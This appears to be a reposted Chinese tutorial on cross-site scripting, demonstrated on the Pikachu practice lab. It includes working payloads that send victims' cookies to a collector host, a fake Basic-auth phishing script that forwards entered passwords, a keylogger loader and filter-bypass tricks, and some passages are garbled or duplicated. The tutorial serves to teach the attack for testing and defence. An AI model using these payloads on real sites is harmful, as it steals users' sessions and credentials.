IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 【Web安全从入门到放弃】02_跨站脚本漏洞 -> 正文阅读

[PHP知识库]【Web安全从入门到放弃】02_跨站脚本漏洞

02_跨站脚本漏洞

跨站脚本漏洞概述

  1. XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
  2. XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户。
  3. XSS漏洞可以用来进行钓鱼攻击、钓鱼攻击、前端js挖矿、用户cookie获取。 甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等

流程图:

在这里插入图片描述

跨站脚本漏洞常见类型及测试流程

危害:存储型>反射型> DOM型
●反射型
交互的数据一般不会被存在在数据库里面,一次性,所见即所得, 一般出现在查询类页面等。
●存储型
交互的数据会被存在在数据库里面,永久性存储, 一般出现在留言板,注册等页面。
●DOM型
不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题, 一次性也属于反射型。

XSS漏洞形成的原因:

在这里插入图片描述

形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。

跨站脚本漏洞测试流程:

①在目标站点上找到输入点,比如查询接口,留言板等;
②输入一组"特殊字符+唯一识别字符”, 点击提交后,查看返回的源码,是否有做对应的处理;
③通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件 ( 构造闭合) ;
④提交构造的脚本代码(以及各种绕过姿势) ,看是否可以成功执行,如果成功执行则说明存在XSS漏洞;

TIPS :
1.一般查询接容易出现反射型XSS ,留言板容易出现存储型XSS ;
2.由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器) ;
3通过变化不同的script ,尝试绕过后台过滤机制;

反射型XSS ( get&post )演示和原理分析

GET和POST典型区别:
GET是以url方式提交数据;
POST是以表单方式在请求体里面提交;

GET方式的XSS漏洞更加容易被利用,一般利用的方式是将带有跨站脚本的URL伪装后发送给目标
而POST方式由于是以表单方式提交,无法直接使用URL方式进行攻击,如何利用?

存储型XSS演示和与原理分析

存储型XSS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS。

Dom型XSS演示和原理分析

在这里插入图片描述

通过JavaScript ,可以重构整个HTML文档。您可以添加、移除、改变或重排页面上的项目。要改变页面的某个东西, JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口,连同对HTML元素进行添加、移动、改变或移除的方法和属性,都是通过文档对象模型来获得的( DOM )。所以,你可以把DOM理解为一个一个访问HTML的标准编程接口。

Dom型XSS漏洞基本不会涉及到后端代码。

XSS的危害-获取cookie的原理和实验演示

GET方式的XSS获取Cookie:

在这里插入图片描述

在这里插入图片描述

构造url使用被攻击者点击,执行cookie.php这个程序。

主要去理解cookie.php的源码:

<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFERER'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://192.168.1.4/pikachu/index.php");//重定向到一个可信的网站

?>

POST方式的XSS获取Cookie:

在这里插入图片描述

攻击者构造一个post请求提交网页,发送给受攻击者,点开后程序自动帮他提交一个post请求表单,那么就实现了攻击过程。

POST表单网页源码:

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.4/pikachu/vul/xss/xsspost/xss_reflected_post.php">
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
	</script>"
	 />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

XSS危害-XSS进行钓鱼的原理和实验演示

实验思路:

制作钓鱼鱼饵: www - Authenticate: Basic

在这里插入图片描述

在表单中输入以下恶意代码实现XSS漏洞攻击(钓鱼):

<img src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php" />
<script src="http://192.168.1.4/pikachu/pkxss/xfish/fish.php"></script>

fish.php源码:

<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
    header('Content-type:text/html;charset=utf-8');
    header("WWW-Authenticate: Basic realm='认证'");
    header('HTTP/1.0 401 Unauthorized');
    echo 'Authorization Required.';
    exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
    header("Location: http://192.168.1.15/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
    &password={$_SERVER[PHP_AUTH_PW]}");
}

?>

XSS危害-XSS获取键盘记录原理和实验演示

在实验前先了解一下什么是跨域
http:// www . xyz.com : 8080 / script/test.js
协议 子域名 主域名 端口 资源地址
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域
我们把不同的域之间请求数据的操作,成为跨域操作。

跨域-同源策略

而为了安全考虑,所有的浏览器都约定了"同源策略”, 同源策略规定,两个不同域名之间不能使用JS进行相互操作。比如: x.com域名下的javascrip并不能操作y.com域下的对象。
如果想要跨域操作,则需要管理员进行特殊的配置。
比如通过: header( “Access-Control-Allow-Origin:x.com” )指定。
Tips:下面这些标签跨域加载资源(资源类型是有限制的)是不受同源策略限制的。

<script src= "..."> //js,加载到本地执行
<img src="...">//图片
<link href="..."> //css
<iframe src= ".." > //任意资源

为什么要有同源策略:

A登陆了淘宝,攻击者向A发送一个 恶意链接urlb: http://www.盗你cookie.com
如果没有同源策略,即: urlb上的js可以操作A的内容(如:获取cookie等)
有了同源策略,就限制了这种情况。
再比如:
一个恶意站点A上使用了 , 发送该恶意url到攻击对象,攻击对象登
陆后如果没有同源策略,则A上的JS即可获取B站点的登陆信息。

在表单中输入:

<script src="http : / /192.168.1.15/pkxss/ rkeypress/rk.js"></script>

代码存储在后台中,再次访问的时候就会访问rk.js文件。

XSS盲打演示和原理分析

什么是XSS盲打?

在这里插入图片描述

不管3721 ,往里面插XSS代码,然后等待,可能会有惊喜!
由于是后端,可能安全考虑不太严格
当管理员登录时,就会被X !

也就是说只有后台会看到前端输入的内容。
从前端无法判断是否存在XSS ,怎么办?

危害:
当管理员登录后台时,攻击者插入的攻击代码可以获取管理员当前的Coookie发送到指定的地方,从而使攻击者获取权限。

XSS的过滤和绕过( filter&htmlspecialchars )

XSS绕过-过滤-转换:

0 ,前端限制绕过,直接抓包重放,或者修改html前端代码
1.,大小写,比如: pt>
3 ,使用注释进行干扰: <scri pt> alert(111)</sc ript>

XSS绕过-过滤-编码:

核心思路:
后台过滤了特殊字符,比如

在使用编码使需要注意编码在输出点是否会被正常识别和翻译!!!

错误的例子1 :

<img src=x οnerrοr=" alert('xss )“将alert( XSS )进行UR编码,可以执行吗?
<img src=x οnerrοr=”alert%28%27xss%27%29” />
并不会执行, why,?因为这些属性标签并不会正常解析这些编码

栗子2 :使用事件属性onxxx;

<img src=x οnerrοr=”alert(‘xss’)" />可以把alert( ‘xss’)进行html编码

<img src=x onerror= "&#97;&#108;&#101;&#114;&#116;&#40;&u#39;&#120;&#115;&#115;&#39;&#41; "/>
<img SrC=x 
onmouseover=”&#97;&#108;&#101;&#114;&#116;&#40;&#39;&# 120;&#115;&#115;&#39;&#41;" />

可以执行
注意,事件标签里面并不会执行标签里面的代码。

XSS绕过-关于htmlspecialchar()函数:

htmlspecialchars()函数把预定义的字符转换为HTML实体。

预定义的字符是:

  • &(和号)成为&amp
  • “(双引号)成为&quot
  • ‘(单引号)成为&#039
  • <(小于)成为&lt
  • 大于号成为&gt

可用的引号类型:
ENT_ COMPAT -默认。仅编码双引号。
ENT_ QUOTES -编码双引号和单引号。
ENT_ NOQUOTES -不编码任何引号。

o k = h t m l s p e c i a l c h a r s ( ok=htmlspecialchars( ok=htmlspecialchars(_ GET[ ‘message’])

XSS输出在href和js中的案例分析

lspecialchars()函数把预定义的字符转换为HTML实体。

预定义的字符是:
&(和号)成为&amp
“(双引号)成为&quot
‘(单引号)成为&#039
<(小于)成为&lt

(大于) 成为&gt

可用的引号类型:
ENT_ COMPAT -默认。仅编码双引号。
ENT_ QUOTES -编码双引号和单引号。
ENT_ NOQUOTES -不编码任何引号。

o k = h t m l s p e c i a l c h a r s ( ok=htmlspecialchars( ok=htmlspecialchars(_ GET[ ‘message’])

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-12-08 13:37:21  更:2021-12-08 13:37:40 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 20:35:27-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计